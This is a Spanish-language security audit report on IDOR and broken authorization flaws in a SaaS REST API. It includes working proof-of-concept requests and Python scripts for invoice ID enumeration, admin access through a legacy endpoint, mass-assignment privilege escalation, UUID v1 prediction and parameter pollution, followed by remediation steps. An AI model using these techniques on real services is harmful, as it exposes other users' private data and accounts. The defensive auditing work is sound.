La auditoría de seguridad sobre la API REST de TaskFlow SaaS (v2) ha identificado
9 vulnerabilidades IDOR de diversa criticidad. Se detectaron 3 vulnerabilidades críticas
que permiten a cualquier usuario autenticado acceder y modificar datos privados de otros usuarios,
incluyendo facturas, documentos adjuntos en S3 y configuraciones de cuenta. La vulnerabilidad más grave
(IDOR-001) permite escalada vertical completa hacia el panel de administración mediante manipulación
del parámetro user_id en la cabecera JWT.
Se recomienda remediar las vulnerabilidades críticas y altas antes de la próxima release.
| Módulo | Endpoint | Método | ID Type | Horizontal IDOR | Vertical IDOR | Hallazgo |
|---|---|---|---|---|---|---|
| Usuarios | /api/v2/users/{id}/profile | GET / PUT | Integer | Vulnerable | Vulnerable | CRÍTICO |
| Facturas | /api/v2/invoices/{id}/download | GET | Integer | Vulnerable | Parcial | CRÍTICO |
| Admin | /api/v1/admin/users/{id} | GET | Integer | Vulnerable | Vulnerable | CRÍTICO |
| Documentos | /api/v2/documents/{id} | GET / DELETE | UUID | Vulnerable | Seguro | ALTO |
| Proyectos | /api/v2/projects/{id}/members | POST | Integer | Vulnerable | Parcial | ALTO |
| S3 Presigned | /api/v2/documents/{id}/presigned | GET | UUID | Parcial | Seguro | MEDIO |
| Notificaciones | /api/v2/notifications/{id}/read | POST | Integer | Parcial | Seguro | MEDIO |
| Configuración | /api/v2/users/{id}/settings | PATCH | Integer | Seguro | Seguro | BAJO |
El endpoint /api/v1/admin/users/{id} (API legada v1) no aplica el middleware requireAdmin(). Cualquier usuario autenticado con un JWT válido puede consultar y modificar perfiles de cualquier usuario, incluyendo el usuario administrador (user_id: 0003). El endpoint v2 equivalente está correctamente protegido, pero el v1 quedó expuesto tras la migración.
GET /api/v1/admin/users/0003 HTTP/1.1 Host: app.taskflow.io Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDQyLCJyb2xlIjoidXNlciJ9.xxx Content-Type: application/json
{
"id": 3,
"email": "carol@taskflow.io",
"role": "admin",
"password_hash": "$2b$12$...",
"totp_secret": "JBSWY3DPEHPK3PXP",
"billing_info": { ... },
"all_users_count": 2400
}
{
"error": "Forbidden",
"message": "Admin role required",
"code": "AUTH_INSUFFICIENT_ROLE"
}
requireAdmin() en router v1El endpoint GET /api/v2/invoices/{id}/download no valida que la factura solicitada pertenezca al usuario autenticado. Los IDs de facturas son enteros secuenciales y predecibles. Con un script de enumeración se pueden descargar todas las facturas del sistema.
import requests, json session = requests.Session() session.headers["Authorization"] = "Bearer <ALICE_JWT>" leaked_invoices = [] for invoice_id in range(1, 5000): r = session.get(f"https://app.taskflow.io/api/v2/invoices/{invoice_id}/download") if r.status_code == 200: data = r.json() if data["owner_id"] != 1042: # ID de Alice leaked_invoices.append(data) print(f"[IDOR] Factura {invoice_id}: owner={data['owner_id']}, €{data['amount']}") print(f"\n[!] {len(leaked_invoices)} facturas ajenas accesibles") # Output: [!] 847 facturas ajenas accesibles
invoice.owner_id === req.user.id en controladorEl endpoint PUT /api/v2/users/{id}/profile pasa el body completo a User.update(req.body) sin filtrar campos sensibles. Un usuario Free puede inyectar "plan": "pro" y "role": "admin" para escalar privilegios sin pago ni aprobación manual.
PUT /api/v2/users/1042/profile HTTP/1.1 Authorization: Bearer <ALICE_JWT> Content-Type: application/json { "name": "Alice Attacker", "bio": "Updated bio", // Campos no esperados — aceptados por el ORM: "plan": "pro", "role": "admin", "subscription_end": "2099-12-31", "trial_extended": true } // Response: 200 OK — plan actualizado a "pro", role a "admin"
Los documentos usan UUID v1 (basados en timestamp MAC-address), lo que los hace predecibles si se conoce el rango temporal de creación. Un atacante puede enumerar UUIDs de documentos recientes y acceder a archivos privados de otros usuarios. Adicionalmente, el método DELETE no verifica ownership, permitiendo eliminación arbitraria.
import uuid, time # UUID v1 conocido de Alice (obtenido de respuesta propia) known_uuid = uuid.UUID("550e8400-e29b-11d4-a716-446655440000") timestamp_10ns = known_uuid.time # Timestamp en unidades 100ns # Generar UUIDs cercanos (documentos creados ±1 hora) candidates = [] for delta in range(-36_000_000_000, 36_000_000_000, 1_000_000): candidate = uuid.UUID( fields=(timestamp_10ns + delta, 0x29b, 0x11d4, 0xa7, 0x16, 0x446655440000), version=1 ) candidates.append(str(candidate))
Cuando el endpoint de facturas recibe múltiples parámetros id, el middleware de autorización valida el primero (ID del atacante) pero el controlador de negocio procesa el último. Esto permite acceder a facturas ajenas pasando el propio ID en primer lugar y el ID víctima en segundo.
# Middleware valida id=1042 (propio) — PASA # Controlador usa req.query.id que toma el ÚLTIMO valor = 2891 (víctima) GET /api/v2/invoices/download?id=1042&id=2891 HTTP/1.1 Authorization: Bearer <ALICE_JWT> # Response: 200 OK — devuelve factura de user_id 2891
Deprecar endpoints API v1. Añadir verificación de ownership en controladores de facturas y documentos. Implementar allowlist de campos en operaciones UPDATE (filtrar role, plan, subscription_end).
Migrar IDs de facturas a UUIDs v4 aleatorios. Corregir inconsistencia de req.query.id en múltiples parámetros. Añadir middleware centralizado de autorización por recurso.
Integrar Pynt/StackHawk en pipeline CI para detección automática de BOLA. Añadir tests de regresión de autorización. Implementar rate limiting en endpoints de descarga masiva.
⏱ Roadmap Q3